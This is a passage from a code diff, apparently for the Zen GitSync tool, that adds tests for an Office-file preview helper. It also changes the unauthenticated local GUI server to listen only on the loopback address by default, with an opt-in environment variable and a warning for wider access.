assert.equal(isOfficeFile('slides.ppt'), true)
|
|
10
|
+
assert.equal(isOfficeFile('src/index.ts'), false)
|
|
11
|
+
})
|
|
12
|
+
|
|
13
|
+
test('officePreview: extracts extension safely', () => {
|
|
14
|
+
assert.equal(getOfficeExtension('C:\\docs\\plan.XLSX'), 'xlsx')
|
|
15
|
+
assert.equal(getOfficeExtension('/tmp/no-extension'), '')
|
|
16
|
+
})
|
|
17
|
+
|
|
18
|
+
test('officePreview: exposes conservative conversion limits', () => {
|
|
19
|
+
assert.equal(OFFICE_PREVIEW_LIMITS.maxInputBytes, 50 * 1024 * 1024)
|
|
20
|
+
assert.equal(OFFICE_PREVIEW_LIMITS.timeoutMs, 30_000)
|
|
21
|
+
})
|
|
@@ -14,6 +14,18 @@
|
|
|
14
14
|
//
|
|
15
15
|
import logger from './logger.js'
|
|
16
16
|
|
|
17
|
+
// 监听地址:默认只绑回环地址。
|
|
18
|
+
// GUI 服务没有任何认证层,绑 0.0.0.0 等于把 /api/exec-stream(命令执行)、
|
|
19
|
+
// /api/add-npm-script(写 package.json scripts)、/api/open-file(用系统
|
|
20
|
+
// 关联程序打开任意文件)等接口裸奔在局域网上,同网段任何主机都可调用。
|
|
21
|
+
// 确有远程访问 / WSL 跨环境需求时,用 ZEN_HOST=0.0.0.0 显式放开。
|
|
22
|
+
const DEFAULT_HOST = '127.0.0.1'
|
|
23
|
+
|
|
24
|
+
function normalizeHost(raw) {
|
|
25
|
+
const value = typeof raw === 'string' ? raw.trim() : ''
|
|
26
|
+
return value || DEFAULT_HOST
|
|
27
|
+
}
|
|
28
|
+
|
|
17
29
|
export async function startServerOnAvailablePort({
|
|
18
30
|
httpServer,
|
|
19
31
|
startPort,
|
|
@@ -24,8 +36,10 @@ export async function startServerOnAvailablePort({
|
|
|
24
36
|
savePortToFile,
|
|
25
37
|
fsSync,
|
|
26
38
|
maxTries = 100,
|
|
27
|
-
callbackExecutedRef
|
|
39
|
+
callbackExecutedRef,
|
|
40
|
+
host
|
|
28
41
|
}) {
|
|
42
|
+
const bindHost = normalizeHost(host ?? process.env.ZEN_HOST)
|
|
29
43
|
let currentPort = startPort;
|
|
30
44
|
const maxPort = startPort + maxTries;
|
|
31
45
|
const getCallbackExecuted = () => {
|
|
@@ -56,7 +70,7 @@ export async function startServerOnAvailablePort({
|
|
|
56
70
|
|
|
57
71
|
httpServer.once('error', errorHandler);
|
|
58
72
|
|
|
59
|
-
httpServer.listen(currentPort, () => {
|
|
73
|
+
httpServer.listen(currentPort, bindHost, () => {
|
|
60
74
|
if (getCallbackExecuted()) return;
|
|
61
75
|
setCallbackExecuted(true);
|
|
62
76
|
|
|
@@ -66,6 +80,10 @@ export async function startServerOnAvailablePort({
|
|
|
66
80
|
console.log(chalk.green(` Zen GitSync 服务器已启动`));
|
|
67
81
|
console.log(chalk.green(` 访问地址: http://localhost:${currentPort}`));
|
|
68
82
|
console.log(chalk.green(` 启动时间: ${new Date().toLocaleString()}`));
|
|
83
|
+
// 非回环地址才提示,默认情况保持安静(避免每次启动都刷警告)
|
|
84
|
+
if (bindHost !== DEFAULT_HOST) {
|
|
85
|
+
console.log(chalk.yellow(` 监听地址: ${bindHost}(已放开非本地访问,请确认网络环境可信)`));
|
|
86
|
+
}
|
|
69
87
|
|
|
70
88
|
if (isGitRepo) {
|
|
71
89
|
console.log(chalk.green(` 当前目录是Git仓库`));
|